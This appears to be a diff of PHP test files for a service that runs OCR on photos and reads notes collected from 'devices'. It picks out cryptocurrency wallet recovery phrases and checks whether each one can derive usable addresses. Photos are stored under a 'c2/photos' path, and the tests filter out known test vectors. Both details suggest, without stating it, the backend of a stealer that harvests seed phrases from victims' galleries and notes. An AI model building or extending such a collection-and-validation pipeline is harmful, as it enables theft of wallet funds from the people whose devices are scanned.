$finding = new MnemonicFinding([
'device_id' => $device->id,
'source' => 'note',
'note_id' => $note->id,
'item_key' => 'n:1',
'status' => MnemonicFinding::STATUS_SUSPECTED,
'word_count' => 12,
'score' => 140,
]);
$finding->candidate = '备 份 助 记 词 请 妥 善 保 管';
$finding->save();
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, MnemonicFinding::query()->count());
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
}
private function device(string $key): Device
{
return Device::query()->create([
'device_id' => $key,
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
}
private function photoWithOcr(Device $device, string $ocrText): Photo
{
$this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver
{
public function __construct(private readonly string $text) {}
public function recognize(string $imagePath): string
{
return $this->text;
}
});
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==');
$rel = 'c2/photos/'.$device->device_id.'/test.png';
Storage::disk('local')->put($rel, $png);
return Photo::query()->create([
'device_id' => $device->id,
'sha256' => hash('sha256', $png),
'path' => $rel,
'size' => strlen($png),
'scan_status' => MnemonicScanStatus::PENDING,
]);
}
}
+51
View File
@@ -0,0 +1,51 @@
<?php
namespace Tests\Unit;
use App\Services\Chain\Bip44;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class Bip44Test extends TestCase
{
#[Test]
public function known_phrase_can_derive(): void
{
$this->assertTrue(Bip44::canDerive(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'
));
}
#[Test]
public function test_vector_is_not_usable(): void
{
$this->assertFalse(Bip44::isUsableMnemonic(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'
));
}
#[Test]
public function four_repeats_of_one_word_is_not_usable(): void
{
$this->assertFalse(Bip44::isUsableMnemonic(
'abandon abandon abandon abandon ability able about above absent absorb abstract absurd'
));
}
#[Test]
public function diverse_valid_phrase_is_usable(): void
{
$this->assertTrue(Bip44::isUsableMnemonic(
'arctic floor lamp patrol connect mixture student enough mandate region whisper hint'
));
}
#[Test]
public function checksum_invalid_twelve_words_cannot_derive(): void
{
$this->assertFalse(Bip44::canDerive(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon'
));
}
}
+127
View File
@@ -0,0 +1,127 @@
<?php
namespace Tests\Unit;
use App\Services\Chain\Bip44;
use App\Services\MnemonicDetector;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class MnemonicDetectorTest extends TestCase
{
#[Test]
public function detects_english_phrase_among_noise(): void
{
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$hit = (new MnemonicDetector)->detect("Recovery sheet\n1. ".$phrase."\nbackup 2024");
$this->assertNotNull($hit);
$this->assertSame($phrase, $hit['candidate']);
$this->assertSame(12, $hit['word_count']);
$this->assertTrue($hit['confirmed']);
}
#[Test]
public function ignores_short_unrelated_text(): void
{
$this->assertNull((new MnemonicDetector)->detect('hello world this is just a note'));
}
#[Test]
public function ignores_chinese_wallet_ui_copy(): void
{
$text = '备份助记词 请按顺序抄写助记词,确保备份正确。妥善保管助记词至隔离网络的安全地方。';
$this->assertNull((new MnemonicDetector)->detect($text));
}
#[Test]
public function marks_nine_hits_as_suspected_not_confirmed(): void
{
$ocr = <<<'TXT'
palance cousin endorse
refuse private dog
solution puddy april
picture father jab
TXT;
$hit = (new MnemonicDetector)->detect($ocr);
$this->assertNotNull($hit);
$this->assertFalse($hit['confirmed']);
$this->assertSame(9, $hit['word_count']);
}
#[Test]
public function eight_hits_are_suspected(): void
{
$text = 'cousin endorse refuse private dog solution april picture';
$hit = (new MnemonicDetector)->detect($text);
$this->assertNotNull($hit);
$this->assertFalse($hit['confirmed']);
$this->assertSame(8, $hit['word_count']);
}
#[Test]
public function ignores_repetitive_plumbing_copy(): void
{
$text = 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way';
$this->assertNull((new MnemonicDetector)->detect($text, true));
}
#[Test]
public function notes_ignore_partial_ocr_style_hits(): void
{
$ocr = <<<'TXT'
palance cousin endorse
refuse private dog
solution puddy april
picture father jab
TXT;
$this->assertNull((new MnemonicDetector)->detect($ocr, true));
}
#[Test]
public function notes_keep_numbered_valid_phrase(): void
{
$lines = [];
foreach (explode(' ', 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about') as $i => $word) {
$lines[] = ($i + 1).'. '.$word;
}
$hit = (new MnemonicDetector)->detect(implode("\n", $lines), true);
$this->assertNotNull($hit);
$this->assertTrue($hit['confirmed']);
$this->assertSame(12, $hit['word_count']);
}
#[Test]
public function prefers_english_phrase_over_chinese_ui(): void
{
$phrase = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint';
$hit = (new MnemonicDetector)->detect("正确抄写12个助记词\n".$phrase."\n我已抄好,去验证");
$this->assertNotNull($hit);
$this->assertSame($phrase, $hit['candidate']);
$this->assertTrue($hit['confirmed']);
}
#[Test]
public function slides_past_ui_card_when_checksum_needs_the_last_word(): void
{
$phrase = 'across artwork strike near sadness federal group soccer alert equal valley ask';
$ocr = 'a SS KS 备份 助 记 词 手 抄 备份 KeyPal Card at 助 记 词 (12 个 单词 ) '
.'across artwork strike near sadness federal group soccer alert 10 equal valley ask';
$hit = (new MnemonicDetector)->detect($ocr);
$this->assertNotNull($hit);
$this->assertSame($phrase, $hit['candidate']);
$this->assertTrue($hit['confirmed']);
$this->assertTrue(Bip44::isUsableMnemonic($phrase));
$this->assertFalse(Bip44::isUsableMnemonic(
'card across artwork strike near sadness federal group soccer alert equal valley'
));
}
}